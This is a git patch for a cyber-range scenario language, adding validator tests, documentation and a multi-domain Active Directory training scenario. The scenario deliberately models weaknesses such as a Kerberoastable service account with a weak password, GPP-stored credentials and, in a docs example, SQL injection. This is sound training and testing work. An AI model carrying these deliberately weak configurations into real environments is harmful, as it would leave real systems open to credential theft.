variables +# ----------------------------------------------------------------------- + +AD_TRUST_FEDERATED = """ +name: multi-domain-ad-trust +description: > + Multi-domain AD with parent-child trust, ADFS federation to + cloud IdP, parameterized via variables, service relationships. + +variables: + domain_name: + type: string + default: "corp.local" + description: "Root AD domain name" + child_domain: + type: string + default: "dev.corp.local" + description: "Child AD domain name" + workstation_count: + type: integer + default: 3 + description: "Number of employee workstations" + +nodes: + corp-net: {type: Switch} + dmz-net: {type: Switch} + dc01: + type: VM + os: windows + os_version: "Server 2022" + resources: {ram: 4 gib, cpu: 2} + features: {ad-forest-root: admin} + roles: {admin: Administrator} + dc02: + type: VM + os: windows + os_version: "Server 2022" + resources: {ram: 4 gib, cpu: 2} + features: {ad-child-domain: admin} + roles: {admin: Administrator} + adfs: + type: VM + os: windows + resources: {ram: 2 gib, cpu: 1} + features: {adfs-service: admin} + roles: {admin: Administrator} + ws01: + type: VM + os: windows + resources: {ram: 4 gib, cpu: 2} + +infrastructure: + corp-net: {count: 1, properties: {cidr: 10.0.0.0/16, gateway: 10.0.0.1, internal: true}} + dmz-net: {count: 1, properties: {cidr: 172.16.0.0/24, gateway: 172.16.0.1}} + dc01: {count: 1, links: [corp-net]} + dc02: {count: 1, links: [corp-net], dependencies: [dc01]} + adfs: {count: 1, links: [corp-net, dmz-net], dependencies: [dc01]} + ws01: {count: 1, links: [corp-net]} + +features: + ad-forest-root: + type: Service + source: adds-forest + description: "AD DS forest root domain" + ad-child-domain: + type: Service + source: adds-child + dependencies: [ad-forest-root] + description: "AD DS child domain" + adfs-service: + type: Service + source: adfs-2019 + dependencies: [ad-forest-root] + description: "AD Federation Services for SSO" + +accounts: + domain-admin: + username: Administrator + node: dc01 + groups: [Domain Admins, Enterprise Admins] + password_strength: strong + svc-sql: + username: svc_mssql + node: dc01 + groups: [Domain Users] + password_strength: weak + spn: "MSSQL/db.corp.local" + description: "Kerberoastable service account" + child-admin: + username: Administrator + node: dc02 + groups: [Domain Admins] + password_strength: strong + employee: + username: jdoe + node: ws01 + groups: [Domain Users] + password_strength: medium + mail: "jdoe@corp.local" + +relationships: + child-trusts-parent: + type: trusts + source: ad-child-domain + target: ad-forest-root + description: "Child domain trusts forest root (automatic)" + properties: + trust_type: parent-child + trust_direction: bidirectional + + adfs-authenticates-via-ad: + type: authenticates_with + source: adfs-service + target: ad-forest-root + description: "ADFS authenticates users against AD" + + adfs-federates-cloud: + type: federates_with + source: adfs-service + target: adfs-service + description: "ADFS provides SAML federation to cloud apps" + properties: + protocol: SAML + idp_type: on-premises + +vulnerabilities: + kerberoast: + name: Kerberoastable SPN + description: "Service account with weak password and SPN" + technical: true + class: CWE-916 + gpp-passwords: + name: GPP Passwords + description: "Credentials in Group Policy Preferences" + technical: true + class: CWE-312 + +entities: + red-team: {name: Red Team, role: Red} + blue-team: {name: Blue Team, role: Blue} +""" + + SCENARIOS = [ ("1. OCR Full Exercise (14 sections)", OCR_FULL_EXERCISE), ("2. CybORG CAGE-1 (3-host, Metasploit)", CYBORG_CAGE1), @@ -1315,6 +1558,8 @@ def _parse(yaml_str: str, label: str): ("9. Enterprise AD (multi-domain forest)", ENTERPRISE_AD), ("10. Cloud Hybrid (AWS VPC + on-prem VPN)", CLOUD_HYBRID), ("11. Exchange with data+accounts+ACLs", EXCHANGE_WITH_DATA), + ("12. CybORG CAGE-2 with agents", CYBORG_WITH_AGENTS), + ("13. Multi-domain AD with trust+federation", AD_TRUST_FEDERATED), ] diff --git a/tests/test_sdl_validator.py b/tests/test_sdl_validator.py index c94052911..58e3c7803 100644 --- a/tests/test_sdl_validator.py +++ b/tests/test_sdl_validator.py @@ -396,6 +396,99 @@ def test_features_as_list_with_empty_role(self): assert s.nodes["vm"].features["svc-a"] == "" +class TestVerifyRelationships: + def test_undefined_source(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + features={"svc": {"type": "service"}}, + relationships={"r1": {"type": "connects_to", "source": "ghost", "target": "svc"}}, + ) + errors = _validate(s) + assert any("does not reference" in e for e in errors) + + def test_undefined_target(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + features={"svc": {"type": "service"}}, + relationships={"r1": {"type": "connects_to", "source": "svc", "target": "ghost"}}, + ) + errors = _validate(s) + assert any("does not reference" in e for e in errors) + + def test_valid_relationship(self): + s = _make_scenario( + features={ + "exchange": {"type": "service"}, + "ad-ds": {"type": "service"}, + }, + relationships={ + "auth": {"type": "authenticates_with", "source": "exchange", "target": "ad-ds"}, + }, + ) + errors = _validate(s) + assert not errors + + +class TestVerifyAgents: + def test_undefined_entity(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + agents={"a1": {"entity": "ghost-team", "actions": ["scan"]}}, + ) + errors = _validate(s) + assert any("undefined entity" in e for e in errors) + + def test_undefined_starting_account(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + entities={"red": {"role": "red"}}, + agents={"a1": {"entity": "red", "starting_accounts": ["ghost-acct"]}}, + ) + errors = _validate(s) + assert any("not in accounts" in e for e in errors) + + def test_undefined_allowed_subnet(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + entities={"red": {"role": "red"}}, + agents={"a1": {"entity": "red", "allowed_subnets": ["ghost-net"]}}, + ) + errors = _validate(s) + assert any("not in infrastructure" in e for e in errors) + + def test_undefined_initial_knowledge_host(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + entities={"red": {"role": "red"}}, + agents={"a1": { + "entity": "red", + "initial_knowledge": {"hosts": ["ghost-host"]}, + }}, + ) + errors = _validate(s) + assert any("not in nodes" in e for e in errors) + + def test_valid_agent(self): + s = _make_scenario( + nodes={ + "vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + "net": {"type": "switch"}, + }, + infrastructure={"net": {"count": 1, "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}}}, + entities={"red": {"role": "red"}}, + accounts={"hacker": {"username": "h4x", "node": "vm"}}, + agents={"a1": { + "entity": "red", + "actions": ["scan", "exploit"], + "starting_accounts": ["hacker"], + "allowed_subnets": ["net"], + "initial_knowledge": {"hosts": ["vm"], "subnets": ["net"]}, + }}, + ) + errors = _validate(s) + assert not errors + + class TestValidFullScenario: def test_complete_ocr_scenario_validates(self): """A complete OCR-style scenario passes validation.""" From acc27de7e05c9a6e52ad87eff3ebc73f34f94522 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 28 Mar 2026 22:53:59 -0700 Subject: [PATCH 07/15] Add property-based fuzzing and documentation for SDL --- CHANGELOG.md | 14 + .../adr-014-scenario-description-language.md | 84 ++ docs/index.md | 9 + docs/sdl/index.md | 86 ++ docs/sdl/limitations.md | 75 ++ docs/sdl/parser.md | 71 ++ docs/sdl/precedents.md | 94 ++ docs/sdl/sections.md | 427 +++++++++ docs/sdl/testing.md | 65 ++ docs/sdl/validation.md | 62 ++ pyproject.toml | 5 + tests/test_sdl_fuzz.py | 375 ++++++++ tests/test_sdl_realworld.py | 859 ++++++++++++++++++ 13 files changed, 2226 insertions(+) create mode 100644 docs/adrs/adr-014-scenario-description-language.md create mode 100644 docs/sdl/index.md create mode 100644 docs/sdl/limitations.md create mode 100644 docs/sdl/parser.md create mode 100644 docs/sdl/precedents.md create mode 100644 docs/sdl/sections.md create mode 100644 docs/sdl/testing.md create mode 100644 docs/sdl/validation.md create mode 100644 tests/test_sdl_fuzz.py create mode 100644 tests/test_sdl_realworld.py diff --git a/CHANGELOG.md b/CHANGELOG.md index f8d866bfd..edc2da518 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,20 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [5.3.0] - 2026-03-29 + +### Added + +- Property-based fuzz testing for SDL parser (`tests/test_sdl_fuzz.py`) — 6 Hypothesis strategies generating ~1,050 random inputs per run; excluded from default pytest via `fuzz` marker, run with `pytest -m fuzz` +- Real-world scenario stress tests (`tests/test_sdl_realworld.py`) — 6 scenarios from Incalmo/MHBench, NICE Challenge, CCDC, HTB ProLab, Metasploitable 2, and Locked Shields IT/OT/SCADA +- SDL documentation suite (`docs/sdl/`) — index, sections reference, parser behavior, semantic validation (24 passes), design precedents, limitations, and testing guide +- ADR-014: Scenario Description Language architecture decision record +- `hypothesis>=6.0.0` added to dev dependencies + +### Changed + +- `pyproject.toml` pytest config: added `fuzz` marker and `addopts = "-m 'not fuzz'"` to exclude fuzz tests from default runs + ## [5.2.0] - 2026-03-29 ### Added diff --git a/docs/adrs/adr-014-scenario-description-language.md b/docs/adrs/adr-014-scenario-description-language.md new file mode 100644 index 000000000..9100e4f1d --- /dev/null +++ b/docs/adrs/adr-014-scenario-description-language.md @@ -0,0 +1,84 @@ +# ADR-014: Scenario Description Language (SDL) + +**Status:** Accepted +**Date:** 2026-03-29 +**Deciders:** Brad Edwards + +## Context + +APTL's scenario format was an ad-hoc YAML schema validated only by Pydantic structural checks. The DSL-001 requirement called for a formal specification language with a documented grammar, parser, and semantic validation. Research across 12 cybersecurity SDLs, 10 adjacent DSLs, 6 security standards, and 6 agent evaluation frameworks (documented in `Kepler/research/dsl/`) identified the Open Cyber Range (OCR) SDL as the closest existing precedent. + +The OCR SDL is a YAML-based language with 14 sections (nodes, infrastructure, features, conditions, vulnerabilities, metrics/evaluations/TLOs/goals, entities, injects/events/scripts/stories) parsed by a Rust library. It separates logical topology from physical deployment and includes a full scoring pipeline and exercise orchestration model. + +However, the OCR SDL lacks: data/content modeling, user accounts, network access controls, OS classification, asset values, service exposure, platform-targeted commands, relationships between services (authentication, trust, federation), agent specifications, and parameterization. + +## Decision + +Port the OCR SDL to Python/Pydantic as `aptl.core.sdl`, extend it with 6 new sections adapted from existing systems (not invented), and decouple it from any specific deployment backend. + +### Architecture + +The SDL is a **specification language**, not a deployment tool. It describes *what a scenario is*. A separate provider binding layer (future work) translates SDL specifications into concrete infrastructure. + +### Sections (20 total) + +14 from OCR (direct port) + 6 new: +- `content` (from CyRIS) — data placed into systems +- `accounts` (from CyRIS) — user accounts within nodes +- `relationships` (from STIX SRO) — typed edges between elements +- `agents` (from CybORG) — autonomous participants +- `variables` (from CACAO) — parameterization + +### Identity Model + +Identity is not a separate section. It emerges from the combination of: +- **Accounts** — who exists where (username, groups, SPN, password strength) +- **Features** — what provides authentication (AD, LDAP, RADIUS services) +- **Relationships** — how services connect (`authenticates_with`, `trusts`, `federates_with`) + +This is simpler and more composable than a dedicated identity layer. + +### Validation + +Two-phase validation: +1. **Structural** (Pydantic) — types, ranges, required fields, intra-model constraints +2. **Semantic** (SemanticValidator) — 24 named passes checking cross-references, dependency cycles, IP/CIDR consistency, MITRE format, and domain rules + +The validator collects all errors rather than failing on the first. + +### Parser + +The parser handles: +- Case-insensitive field keys (preserving user-defined names) +- Shorthand expansion (source strings, infrastructure counts, role strings, min-score integers, feature lists) +- Auto-detection of APTL legacy vs OCR SDL format +- Clean error messages for all failure modes + +### Backward Compatibility + +`aptl.core.scenarios` is a re-export shim over the SDL package. All 8 consumer files continue working with zero import changes. + +## Consequences + +### Positive + +- **19 real-world scenarios validated** from 8 platforms (OCR, CybORG, CALDERA, Atomic Red Team, CyRIS, KYPO, HTB, Locked Shields) +- **1,050+ fuzz test inputs** with zero unhandled crashes +- Every SDL element traces to a published precedent +- Backend-agnostic: no Docker, OpenStack, or cloud provider coupling +- Full OCR SDL compatibility preserved +- Existing APTL scenarios work unchanged + +### Negative + +- 24 source files in `aptl.core.sdl/` — significant surface area +- Variables (`${var}`) not resolved at parse time, limiting validator coverage +- No module composition system yet (Terraform-style imports) +- No formal verification (VSDL's SMT / CRACK's Datalog) +- Agent action semantics are strings, not typed operations + +### Risks + +- The SDL was designed and tested by one system (this project). Practitioner feedback may reveal ergonomic issues or missing concepts +- The relationship model uses a flat `properties` dict which could become a maintenance burden as relationship types proliferate +- Variable resolution semantics are undefined — instantiation backends will need to agree on substitution rules diff --git a/docs/index.md b/docs/index.md index a7e424560..808b383c1 100644 --- a/docs/index.md +++ b/docs/index.md @@ -46,6 +46,15 @@ aptl lab start ### Architecture Decision Records - [ADR Index](adrs/README.md) -- Why we built it this way +### Scenario Description Language (SDL) +- [SDL Overview](sdl/index.md) — What the SDL is and how to use it +- [Sections Reference](sdl/sections.md) — Complete reference for all 20 sections +- [Parser Behavior](sdl/parser.md) — Key normalization, shorthands, format detection +- [Semantic Validation](sdl/validation.md) — Cross-reference checks (24 passes) +- [Design Precedents](sdl/precedents.md) — Where each element comes from +- [Limitations](sdl/limitations.md) — What the SDL cannot express yet +- [Testing](sdl/testing.md) — Unit tests, stress tests, fuzz tests + ### Scenarios & Runs - [SOC Architecture Spec](specs/soc-feature-spec.md) — Scenario engine, run archives, collectors diff --git a/docs/sdl/index.md b/docs/sdl/index.md new file mode 100644 index 000000000..d153cc9a4 --- /dev/null +++ b/docs/sdl/index.md @@ -0,0 +1,86 @@ +# Scenario Description Language (SDL) Reference + +The APTL SDL is a YAML-based specification language for describing cyber range scenarios. It is ported from the [Open Cyber Range SDL](https://github.com/Open-Cyber-Range/SDL-parser) and extended with APTL-specific concepts for attack/defense exercises, automated scoring, and agent-driven operations. + +The SDL describes *what a scenario is* — not how to deploy it. A separate backend binding layer (not yet implemented) translates SDL specifications into concrete infrastructure (Docker Compose, Terraform, cloud APIs). + +## Quick Example + +```yaml +name: simple-pentest-lab +description: Web app with SQL injection targeting a database + +nodes: + lab-net: + type: Switch + webapp: + type: VM + os: linux + resources: {ram: 2 gib, cpu: 1} + features: [flask-app] + services: [{port: 8080, name: http}] + vulnerabilities: [sqli] + database: + type: VM + os: linux + resources: {ram: 1 gib, cpu: 1} + features: [postgres] + services: [{port: 5432, name: postgresql}] + asset_value: {confidentiality: high} + +infrastructure: + lab-net: {count: 1, properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1}} + webapp: {count: 1, links: [lab-net]} + database: {count: 1, links: [lab-net]} + +features: + flask-app: {type: Service, source: vulnerable-flask-app} + postgres: {type: Service, source: postgresql-16} + +vulnerabilities: + sqli: + name: SQL Injection + description: SQLi in login form + technical: true + class: CWE-89 + +relationships: + app-to-db: + type: connects_to + source: flask-app + target: postgres + +accounts: + db-admin: + username: admin + node: database + password_strength: weak +``` + +## Documentation + +- [SDL Sections Reference](sections.md) — Complete reference for all 20 sections +- [Parser Behavior](parser.md) — Key normalization, shorthand expansion, format detection +- [Semantic Validation](validation.md) — Cross-reference checks and what the validator enforces +- [Design Precedents](precedents.md) — Where each SDL element comes from +- [Limitations & Future Work](limitations.md) — What the SDL cannot express yet +- [Testing](testing.md) — How to run unit tests, stress tests, and fuzz tests + +## Usage + +```python +from aptl.core.sdl import parse_sdl, parse_sdl_file + +# From a string +scenario = parse_sdl(yaml_string) + +# From a file +scenario = parse_sdl_file(Path("scenarios/my-scenario.yaml")) + +# Skip semantic validation (structural only) +scenario = parse_sdl(yaml_string, skip_semantic_validation=True) +``` + +## Backward Compatibility + +All existing APTL scenario YAMLs (the `metadata` + `mode` + `objectives` format) continue to work unchanged. The parser auto-detects legacy vs SDL format. All imports from `aptl.core.scenarios` continue to work — the module is a re-export shim over the SDL package. diff --git a/docs/sdl/limitations.md b/docs/sdl/limitations.md new file mode 100644 index 000000000..7be59e674 --- /dev/null +++ b/docs/sdl/limitations.md @@ -0,0 +1,75 @@ +# SDL Limitations & Future Work + +## Known Expressiveness Gaps + +These are things the SDL cannot currently express, identified through stress-testing against 19 real-world scenarios from 8 platforms. + +### Deployment-Layer Gaps (by design — belong in provider bindings) + +These are intentionally excluded from the specification layer: + +- **Port mappings** (host:container exposure) — deployment detail +- **Volume mounts** — deployment detail +- **Linux capabilities** (NET_RAW, SYS_ADMIN) — deployment detail +- **Security options** (seccomp, cgroup) — deployment detail +- **Docker Compose profiles** — deployment-specific grouping +- **Image build contexts** (Dockerfile paths) — deployment detail +- **Container entrypoints/commands** — deployment detail +- **Extra hosts** (/etc/hosts overrides) — deployment detail +- **Ulimits** (nofile, memlock) — deployment detail + +These will be addressed by a future SDL → Docker Compose / Terraform provider binding layer. + +### Specification-Layer Gaps (future SDL work) + +These are things that *should* be expressible in the SDL but aren't yet: + +| Gap | Description | Candidate Precedent | +|-----|-------------|-------------------| +| **Module composition** | Import and compose scenario modules with version constraints and parameter overrides | Terraform modules, TOSCA type derivation | +| **CACAO-style workflow steps** | Action/condition/loop/parallel workflow semantics beyond OCR's timeline model | CACAO v2.0 workflow types | +| **Temporal operators** | STIX-style FOLLOWEDBY/WITHIN for time-ordered event assertions | STIX Patterning Language | +| **Formal verification** | Pre-deployment verification that attack paths are reachable and defenses are consistent | VSDL SMT solver, CRACK Datalog | +| **Agent framework bindings** | Gymnasium observation/action space definitions, reward function code | CybORG Gymnasium interface | +| **User behavior profiles** | Normal user activity patterns (browsing, email, file access schedules) | CybORG Green agents | +| **Multi-tenancy** | Multiple independent exercises sharing infrastructure | Locked Shields team-per-subnet model | + +### Variable Resolution + +Variables (`${var_name}`) are stored as literal strings in the model. They are **not** resolved at parse time. This means: + +- The validator cannot check whether a `${var}` reference has a matching variable definition +- Type checking of variable values is deferred to instantiation +- Default value semantics are not enforced at parse time + +This is a deliberate design choice (matching CACAO's model) but limits what the validator can catch. + +## What Has Been Validated + +The SDL has been tested against 19 scenarios from 8 platforms: + +| # | Scenario | Source | Nodes | Services | Vulns | +|---|----------|--------|-------|----------|-------| +| 1 | OCR Full Exercise | OCR test suite | 3 | - | 1 | +| 2 | CybORG CAGE-1 | CAGE Challenge 1 | 7 | - | 2 | +| 3 | CybORG CAGE-2 (13-host) | CAGE Challenge 2 | 16 | - | 5 | +| 4 | CALDERA Ransack | CALDERA adversary | 0 | - | 0 | +| 5 | Atomic Red Team T1003 | Atomic tests | 0 | - | 0 | +| 6 | CyRIS DMZ | CyRIS | 7 | 3 | 2 | +| 7 | KYPO CTF | KYPO | 3 | - | 3 | +| 8 | HTB Machine | Hack The Box | 2 | 3 | 2 | +| 9 | Enterprise AD | Multi-domain lab | 10 | - | 6 | +| 10 | Cloud Hybrid | AWS VPC + on-prem | 9 | - | 3 | +| 11 | Exchange + data | APTL extended | 5 | 3 | 1 | +| 12 | CybORG with agents | CAGE-2 + agents | 9 | - | 1 | +| 13 | AD trust + federation | Multi-domain + vars | 6 | - | 2 | +| 14 | Incalmo Equifax | MHBench | 6 | 7 | 2 | +| 15 | NICE Challenge 17 | NICE/NIST | 6 | 9 | 3 | +| 16 | CCDC 2007 | Competition packet | 5 | 11 | 0 | +| 17 | HTB Offshore-style | ProLab | 6 | 11 | 6 | +| 18 | Metasploitable 2 | Classic lab | 2 | 23 | 11 | +| 19 | Locked Shields IT/OT | NATO exercise | 7 | 13 | 0 | + +Additionally, the real APTL lab topology (28 nodes, 4 networks, 17 health checks, 17 vulnerabilities) has been described in SDL and validated. + +Property-based fuzz testing (Hypothesis) has run 1,050+ random inputs through the parser with zero unhandled crashes. diff --git a/docs/sdl/parser.md b/docs/sdl/parser.md new file mode 100644 index 000000000..5675fc0e9 --- /dev/null +++ b/docs/sdl/parser.md @@ -0,0 +1,71 @@ +# SDL Parser Behavior + +The parser (`aptl.core.sdl.parser`) transforms raw YAML into a validated `Scenario` object through three stages: key normalization, shorthand expansion, and model construction. + +## Key Normalization + +YAML field keys (Pydantic struct fields) are normalized to lowercase with hyphens converted to underscores: + +- `Name` → `name` +- `Min-Score` → `min_score` +- `start-time` → `start_time` + +**User-defined names are preserved as-is.** Node names, feature names, account names, and other HashMap keys are not transformed. This ensures cross-references remain consistent. + +```yaml +# "My-Switch" is preserved, "Type" is normalized to "type" +nodes: + My-Switch: + Type: Switch +``` + +## Shorthand Expansion + +Several shorthand forms are expanded before model construction: + +| Shorthand | Expands To | +|-----------|------------| +| `source: "pkg-name"` | `source: {name: "pkg-name", version: "*"}` | +| `infrastructure: {node: 3}` | `infrastructure: {node: {count: 3}}` | +| `roles: {admin: "username"}` | `roles: {admin: {username: "username"}}` | +| `min-score: 50` | `min-score: {percentage: 50}` | +| `features: [svc-a, svc-b]` (on nodes) | `features: {svc-a: "", svc-b: ""}` | + +Source expansion is skipped inside `relationships` and `agents` sections where `source` is a plain string reference, not a package Source. + +## Format Auto-Detection + +The parser handles two formats: + +- **OCR SDL format:** Top-level `name` field, OCR sections +- **APTL legacy format:** `metadata` block with `id`, `name`, `difficulty`, etc. + +Detection: if the normalized data contains a `metadata` key with a dict value, it's APTL legacy. Both formats can coexist in the same YAML. + +## Validation Pipeline + +1. **YAML parsing** — `yaml.safe_load()` +2. **Key normalization** — lowercase field keys, preserve user names +3. **Shorthand expansion** — source, infrastructure, roles, min-score, feature lists +4. **Pydantic construction** — structural validation (types, ranges, required fields) +5. **Semantic validation** — cross-reference checks (21+ passes, see [validation.md](validation.md)) + +## API + +```python +from aptl.core.sdl import parse_sdl, parse_sdl_file + +# Parse from string +scenario = parse_sdl(yaml_string) + +# Parse from file +scenario = parse_sdl_file(Path("scenario.yaml")) + +# Structural validation only (skip cross-reference checks) +scenario = parse_sdl(yaml_string, skip_semantic_validation=True) +``` + +## Error Types + +- `SDLParseError` — YAML syntax errors, structural validation failures +- `SDLValidationError` — semantic validation failures (has `.errors` list with all issues) diff --git a/docs/sdl/precedents.md b/docs/sdl/precedents.md new file mode 100644 index 000000000..a9eebd7f8 --- /dev/null +++ b/docs/sdl/precedents.md @@ -0,0 +1,94 @@ +# SDL Design Precedents + +Every SDL element is adapted from an existing system or standard. This document traces each element to its source. + +## Core Structure (from Open Cyber Range SDL) + +The 14 base sections are a direct port of the [OCR SDL](https://github.com/Open-Cyber-Range/SDL-parser) v0.21.2 from Rust to Python/Pydantic. The OCR SDL was developed by the Norwegian Cyber Range (CR14/NTNU). + +| SDL Element | OCR Source | Changes | +|-------------|-----------|---------| +| Scenario | `Scenario` struct | Added APTL extension fields | +| Node (VM/Switch) | `Node`, `VM`, `Switch` | Added `os`, `os_version`, `services`, `asset_value` | +| Resources | `Resources` | Human-readable RAM parsing via Python | +| Role | `Role` | Direct port | +| InfraNode | `InfraNode` | Added `acls`, `internal` flag | +| Feature | `Feature` | Direct port | +| Condition | `Condition` | Added `timeout`, `retries`, `start_period` | +| Vulnerability | `Vulnerability` | Direct port | +| Metric/Evaluation/TLO/Goal | OCR scoring pipeline | Direct port | +| Entity | `Entity` (recursive) | Direct port | +| Inject/Event/Script/Story | OCR orchestration | Direct port | +| Source | `Source` (name + version) | Made provider-neutral | + +## Extensions by Source + +### From CybORG CAGE Challenge + +| SDL Element | CybORG Source | What We Adapted | +|-------------|--------------|-----------------| +| `Agent` | `Agents:` section (Scenario YAML) | Actions, starting sessions, reward calculator | +| `InitialKnowledge` | `INT:` (Initial Network Topology) | Known hosts and subnets at start | +| `Agent.allowed_subnets` | `AllowedSubnets:` | Network scope constraints | +| `AssetValue` | `ConfidentialityValue`, `AvailabilityValue` | Extended to CIA triad | +| `ACLRule` | `Subnets.NACLs` | Simplified from nested dict to flat rule list | + +### From CyRIS + +| SDL Element | CyRIS Source | What We Adapted | +|-------------|-------------|-----------------| +| `Content` | `copy_content`, `emulate_traffic_capture` | Generalized to file/dataset/directory types | +| `Account` | `add_account`, `modify_account` | Added groups, password_strength, SPN, auth_method | + +### From CALDERA / Atomic Red Team + +| SDL Element | Source | What We Adapted | +|-------------|--------|-----------------| +| `PlatformCommand` | CALDERA `platforms.{os}.{shell}.command` | Per-OS command variants | +| `PlatformCommand.cleanup` | Atomic Red Team `cleanup_command` | Teardown action per platform | + +### From STIX 2.1 + +| SDL Element | STIX Source | What We Adapted | +|-------------|-----------|-----------------| +| `Relationship` | Relationship SRO (typed directed edges) | Simplified to 7 relationship types | +| Cross-reference validation | STIX object referencing model | Source/target resolve to any named element | + +### From CACAO v2.0 + +| SDL Element | CACAO Source | What We Adapted | +|-------------|-------------|-----------------| +| `Variable` | `playbook_variables` | Types, defaults, allowed_values | +| `${var}` substitution | CACAO variable substitution syntax | Deferred to instantiation time | + +### From OCSF + +| SDL Element | OCSF Source | What We Adapted | +|-------------|-----------|-----------------| +| `OSFamily` enum | `Device.os.type_id` | Vocabulary for OS classification | +| `ServicePort` | `NetworkEndpoint` | Simplified port/protocol/name | +| `ExpectedDetection` | Detection Finding event class | `product_name`, `severity_id`, `analytic_uid` | + +### From Docker / Deployment Patterns + +| SDL Element | Source | What We Adapted | +|-------------|--------|-----------------| +| `SimpleProperties.internal` | Docker Compose `internal: true` | Network egress blocking flag | +| `Condition.timeout/retries/start_period` | Docker health check fields | Direct mapping | + +## Deliberate Omissions + +These were considered and explicitly excluded: + +| Concept | Why Excluded | Where It Belongs | +|---------|-------------|-----------------| +| Port mappings (host:container) | Backend-specific deployment detail | Provider binding layer | +| Volume mounts | Backend-specific deployment detail | Provider binding layer | +| Linux capabilities (NET_RAW, SYS_ADMIN) | Backend-specific security config | Provider binding layer | +| Docker Compose profiles | Backend-specific grouping | Provider binding layer | +| Dockerfile/build context | Backend-specific build detail | Provider binding layer | +| Container entrypoints | Backend-specific runtime config | Provider binding layer | +| Gymnasium/PettingZoo API bindings | Framework coupling | Agent runtime layer | +| Terraform module composition | Requires compositional model | Future: module system | +| CACAO workflow steps | Overlaps with OCR stories/scripts | Future: reconciliation needed | +| VSDL SMT verification | Research question | Future: formal methods layer | diff --git a/docs/sdl/sections.md b/docs/sdl/sections.md new file mode 100644 index 000000000..8fdc1e735 --- /dev/null +++ b/docs/sdl/sections.md @@ -0,0 +1,427 @@ +# SDL Sections Reference + +A scenario is a YAML document with up to 20 named sections. All sections are optional. The scenario must have either a top-level `name` (OCR-style) or a `metadata` block (APTL-style). + +## Section Overview + +### From Open Cyber Range SDL (14 sections) + +| Section | Type | Purpose | +|---------|------|---------| +| `nodes` | `dict[str, Node]` | VMs and network switches — the compute/network topology | +| `infrastructure` | `dict[str, InfraNode]` | Deployment topology: counts, links, dependencies, IP/CIDR, ACLs | +| `features` | `dict[str, Feature]` | Software (Service/Configuration/Artifact) deployed to VMs | +| `conditions` | `dict[str, Condition]` | Health checks (command+interval or library source) | +| `vulnerabilities` | `dict[str, Vulnerability]` | CWE-classified vulnerabilities assigned to nodes/features | +| `metrics` | `dict[str, Metric]` | Scoring: Manual (human-graded) or Conditional (automated) | +| `evaluations` | `dict[str, Evaluation]` | Metric groups with pass/fail thresholds | +| `tlos` | `dict[str, TLO]` | Training Learning Objectives linked to evaluations | +| `goals` | `dict[str, Goal]` | High-level goals composed of TLOs | +| `entities` | `dict[str, Entity]` | Teams, organizations, people (recursive, with exercise roles) | +| `injects` | `dict[str, Inject]` | Actions between entities during exercises | +| `events` | `dict[str, Event]` | Triggered actions combining conditions + injects | +| `scripts` | `dict[str, Script]` | Timed event sequences with human-readable durations | +| `stories` | `dict[str, Story]` | Top-level exercise orchestration grouping scripts | + +### APTL Extensions (6 sections) + +| Section | Type | Purpose | Adapted From | +|---------|------|---------|--------------| +| `content` | `dict[str, Content]` | Data placed into systems (files, datasets, emails) | CyRIS `copy_content` | +| `accounts` | `dict[str, Account]` | User accounts on nodes (AD users, SSH, DB users) | CyRIS `add_account` | +| `relationships` | `dict[str, Relationship]` | Typed edges between elements (auth, trust, federation) | STIX Relationship SRO | +| `agents` | `dict[str, Agent]` | Autonomous participants (actions, knowledge, scope) | CybORG Agents | +| `variables` | `dict[str, Variable]` | Parameterization (types, defaults, substitution) | CACAO playbook_variables | +| `objectives` | `ObjectiveSet` | Red/blue objectives with auto-evaluation | APTL original | + +--- + +## Nodes + +Nodes are the compute and network elements of the scenario. + +```yaml +nodes: + corp-switch: + type: Switch + description: Corporate LAN + + web-server: + type: VM + os: linux # windows, linux, macos, freebsd, other + os_version: "Ubuntu 22.04" + source: ubuntu-22.04 # provider-neutral image reference + resources: + ram: 4 GiB # human-readable: GiB, MiB, GB, MB + cpu: 2 + features: # dict form: {feature: role} or list form: [feature] + nginx: web-admin + conditions: + web-health: web-admin + vulnerabilities: [sqli, xss] + roles: + web-admin: www-data # shorthand: role: username + operator: # longhand + username: ops + entities: [blue-team.alice] # binds to entity + services: # exposed network services + - port: 80 + protocol: tcp + name: http + - port: 443 + name: https + asset_value: # CIA triad (from CybORG) + confidentiality: high + integrity: medium + availability: critical +``` + +**Switch** nodes have no source, resources, or features — they represent pure network connectivity. + +**Feature list shorthand:** `features: [nginx, php]` expands to `{nginx: "", php: ""}` (no role binding required). + +--- + +## Infrastructure + +Maps node names to deployment parameters. + +```yaml +infrastructure: + corp-switch: + count: 1 + properties: + cidr: 10.0.0.0/24 + gateway: 10.0.0.1 + internal: true # blocks internet egress + acls: # network access controls (from CybORG NACLs) + - direction: in + from_net: dmz-switch + protocol: tcp + ports: [443] + action: allow + - direction: in + from_net: dmz-switch + action: deny + + web-server: + count: 1 # shorthand: web-server: 1 + links: [corp-switch] + dependencies: [db-server] + properties: # per-link IP assignments + - corp-switch: 10.0.0.10 +``` + +**Shorthand:** `web-server: 3` expands to `{count: 3}`. + +--- + +## Features + +Software deployed onto VMs. Three types: Service, Configuration, Artifact. + +```yaml +features: + nginx: + type: Service + source: nginx-1.24 + php-config: + type: Configuration + source: php-8.2-config + dependencies: [nginx] # deployed after nginx; cycles rejected + log-agent: + type: Artifact + source: filebeat-8 + destination: /opt/filebeat + environment: ["ELASTICSEARCH_HOST=10.0.0.5"] +``` + +--- + +## Conditions + +Health checks with optional timeout/retries/start_period. + +```yaml 